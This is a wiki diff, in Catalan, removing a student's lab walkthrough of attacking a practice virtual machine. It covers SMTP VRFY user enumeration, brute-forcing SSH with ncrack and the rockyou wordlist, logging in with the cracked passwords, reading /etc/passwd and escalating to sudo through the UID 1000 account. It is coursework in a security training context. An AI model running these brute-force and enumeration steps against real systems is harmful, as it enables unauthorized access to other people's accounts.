|
|
| Línia 21: |
Línia 21: |
| | Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds | | Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds |
| | </source> | | </source> |
| − |
| |
| − | ==Anàlisi de serveis==
| |
| − | ===SMTP===
| |
| − | Veiem que hi ha obert un servidor SMTP. Segons apunts de la UF, podem provar si la comanda <code>VRFY <usuari></code> es permet i podem extreure algun usuari relacionat amb l'organització des d'on s'ha extret aquesta màquina (Institut Carles Vallbona)
| |
| − | <source>
| |
| − | root@kali-gsb:~# telnet 10.16.2.9 25
| |
| − | Trying 10.16.2.9...
| |
| − | Connected to 10.16.2.9.
| |
| − | Escape character is '^]'.
| |
| − | 220 enum.iescarlesvallbona.cat ESMTP Postfix (Ubuntu)
| |
| − | VRFY roger
| |
| − | 252 2.0.0 roger
| |
| − | VRFY pau
| |
| − | 252 2.0.0 pau
| |
| − | VRFY julian
| |
| − | 252 2.0.0 julian
| |
| − | VRFY jaume
| |
| − | 252 2.0.0 jaume
| |
| − | VRFY guillem
| |
| − | 550 5.1.1 <guillem>: Recipient address rejected: User unknown in local recipient table
| |
| − | </source>
| |
| − |
| |
| − | Veiem, manualment, que aquests usuaris existeixen excepte ''guillem''. Això ens pot ser suficient per a provar d'extreure contrasenyes dels usuaris mitjançant força bruta a través del servei SSH per exemple.
| |
| − |
| |
| − | Una altra opció seria utilitzar ''scripts'' o mòduls de NMap per a passar-li llistes d'usuaris i que ens retorni si existeixen al sistema o no.
| |
| − |
| |
| − | ===SSH===
| |
| − | Amb <code>ncrack</code> provarem d'accedir per SSH amb algun usuari que tingui una contrasenya feble o vulnerable present al ''wordlist'' de Kali ''rockyou.txt''
| |
| − | <source>
| |
| − | root@kali-gsb:~# ncrack -p 22 -user roger -P /usr/share/wordlists/rockyou.txt 10.16.2.9
| |
| − |
| |
| − | Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-03-17 12:30 CET
| |
| − |
| |
| − | Discovered credentials for ssh on 10.16.2.9 22/tcp:
| |
| − | 10.16.2.9 22/tcp ssh: 'roger' 'whatever'
| |
| − |
| |
| − | Ncrack done: 1 service scanned in 3.00 seconds.
| |
| − |
| |
| − | Ncrack finished.
| |
| − | </source>
| |
| − |
| |
| − | Hem trobat que l'usuari ''roger'' té la contrasenya ''whatever''.
| |
| − |
| |
| − | El següent pas serà accedir per SSH amb aquestes credencials i mirar si tenim permisos per llegir l'arxiu <code>/etc/passwd</code> i poder així, llistar la resta d'usuaris del sistema en la seva totalitat.
| |
| − | <source>
| |
| − | root@kali-gsb:~# ssh roger@10.16.2.9
| |
| − | roger@10.16.2.9's password:
| |
| − | Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)
| |
| − |
| |
| − | * Documentation: https://help.ubuntu.com
| |
| − | * Management: https://landscape.canonical.com
| |
| − | * Support: https://ubuntu.com/advantage
| |
| − |
| |
| − | System information as of Sun Mar 17 11:32:39 UTC 2019
| |
| − |
| |
| − | System load: 0.0 Processes: 98
| |
| − | Usage of /: 44.7% of 9.78GB Users logged in: 0
| |
| − | Memory usage: 4% IP address for enp0s3: 10.16.2.9
| |
| − | Swap usage: 0%
| |
| − |
| |
| − |
| |
| − | 118 packages can be updated.
| |
| − | 0 updates are security updates.
| |
| − |
| |
| − |
| |
| − | Last login: Sun Mar 17 11:30:24 2019 from 10.16.2.11
| |
| − | roger@enum:~$ cat /etc/passwd
| |
| − | root:x:0:0:root:/root:/bin/bash
| |
| − | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| |
| − | bin:x:2:2:bin:/bin:/usr/sbin/nologin
| |
| − | sys:x:3:3:sys:/dev:/usr/sbin/nologin
| |
| − | sync:x:4:65534:sync:/bin:/bin/sync
| |
| − | games:x:5:60:games:/usr/games:/usr/sbin/nologin
| |
| − | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
| |
| − | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
| |
| − | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
| |
| − | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
| |
| − | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
| |
| − | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
| |
| − | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
| |
| − | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
| |
| − | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
| |
| − | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
| |
| − | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
| |
| − | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
| |
| − | systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
| |
| − | systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
| |
| − | syslog:x:102:106::/home/syslog:/usr/sbin/nologin
| |
| − | messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
| |
| − | _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
| |
| − | lxd:x:105:65534::/var/lib/lxd/:/bin/false
| |
| − | uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
| |
| − | dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
| |
| − | landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
| |
| − | pollinate:x:109:1::/var/cache/pollinate:/bin/false
| |
| − | sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
| |
| − | enum:x:1000:1000:enum:/home/enum:/bin/bash
| |
| − | julian:x:1001:1001:,,,:/home/julian:/bin/bash
| |
| − | pau:x:1002:1002:,,,:/home/pau:/bin/bash
| |
| − | jaume:x:1003:1003:,,,:/home/jaume:/bin/bash
| |
| − | xavi:x:1004:1004:,,,:/home/xavi:/bin/bash
| |
| − | roger:x:1005:1005:,,,:/home/roger:/bin/bash
| |
| − | bind:x:111:113::/var/cache/bind:/usr/sbin/nologin
| |
| − | Debian-snmp:x:112:114::/var/lib/snmp:/bin/false
| |
| − | postfix:x:113:116::/var/spool/postfix:/usr/sbin/nologin
| |
| − | dovecot:x:114:118:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin
| |
| − | dovenull:x:115:119:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin
| |
| − | openldap:x:116:120:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
| |
| − | </source>
| |
| − |
| |
| − | També podem provar si aquest usuari té permisos de ''sudo'':
| |
| − | <source>
| |
| − | roger@enum:~$ sudo nano /etc/passwd
| |
| − | [sudo] password for roger:
| |
| − | roger is not in the sudoers file. This incident will be reported.
| |
| − | </source>
| |
| − |
| |
| − | L'usuari ''roger'' no està a <code>sudoers</code>, però al veure que es tracta d'un Ubuntu, podem deduir que l'usuari amb UID=1000 tindrà permisos de ''sudo''. Segons l'arxiu d'usuaris, aquest usuari correspon a ''enum'':
| |
| − | <source>
| |
| − | enum:x:1000:1000:enum:/home/enum:/bin/bash
| |
| − | </source>
| |
| − |
| |
| − | Per tant, el següent pas, serà executar <code>ncrack</code> de nou amb l'usuari ''enum'' per veure si la contrasenya és present en aquell wordlist
| |
| − | <source>
| |
| − | root@kali-gsb:~# ncrack -p 22 -user enum -P /usr/share/wordlists/rockyou.txt 10.16.2.9
| |
| − |
| |
| − | Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-03-17 12:30 CET
| |
| − |
| |
| − | Discovered credentials for ssh on 10.16.2.9 22/tcp:
| |
| − | 10.16.2.9 22/tcp ssh: 'enum' 'trustno1'
| |
| − |
| |
| − | Ncrack done: 1 service scanned in 3.00 seconds.
| |
| − |
| |
| − | Ncrack finished.
| |
| − | </source>
| |
| − |
| |
| − | Accedirem per SSH amb la contrasenya que hem extret
| |
| − | <source>
| |
| − | root@kali-gsb:~# ssh enum@10.16.2.9
| |
| − | enum@10.16.2.9's password:
| |
| − | Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)
| |
| − |
| |
| − | * Documentation: https://help.ubuntu.com
| |
| − | * Management: https://landscape.canonical.com
| |
| − | * Support: https://ubuntu.com/advantage
| |
| − |
| |
| − | System information as of Sun Mar 17 12:38:49 UTC 2019
| |
| − |
| |
| − | System load: 0.31 Processes: 98
| |
| − | Usage of /: 45.5% of 9.78GB Users logged in: 0
| |
| − | Memory usage: 4% IP address for enp0s3: 10.16.2.9
| |
| − | Swap usage: 0%
| |
| − |
| |
| − |
| |
| − | 118 packages can be updated.
| |
| − | 0 updates are security updates.
| |
| − |
| |
| − |
| |
| − | Last login: Wed Feb 20 16:38:32 2019 from 10.16.2.8
| |
| − | </source>
| |
| − |
| |
| − | Aleshores farem la mateixa prova que amb l'altre usuari: executar una comanda amb ''sudo'' per veure si podem fer un moviment vertical i arribar a poder administrar el sistema o modificar arxius dins del ''home'' de l'usuari ''root'':
| |
| − | <source>
| |
| − | sudo nano /root/prova.enum
| |
| − | </source>
| |
| − |
| |
| − | Veiem que se'ns dóna permís.
| |
